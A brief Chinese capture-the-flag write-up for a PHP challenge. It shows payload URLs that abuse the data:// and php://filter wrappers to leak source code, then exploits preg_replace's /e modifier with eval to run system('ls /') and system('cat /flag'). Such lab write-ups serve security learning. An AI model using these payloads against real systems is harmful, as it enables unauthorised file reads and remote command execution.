题目
1.用data构造伪协议
?text=data://text/plain,I have a dream
2.用php://filter构造伪协议
file=php://filter/read=convert.base64-encode/resource=next.php
总的:
url?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php
具体可看我主页关于伪协议整理的知识
base64解码
解码:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {
preg_replace( '/(' . $re . ')/ei','strtolower("\\1")', $str);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}function getFlag(){
@eval($_GET['cmd']);
}
preg_replace( '/(' . $re . ')/ei','strtolower("\\1")', $str);preg_replace()的/e模式存在命令执行漏洞
(只要看到了上面这一行代码,就想到用payload:\S*=${phpinfo()})
因此本题目构造
?id=1&\S*=${getFlag()}&cmd=system('ls /');
p?id=1&\S*=${getFlag()}&cmd=system('cat /flag');
注意:id随便设置 结尾要有分号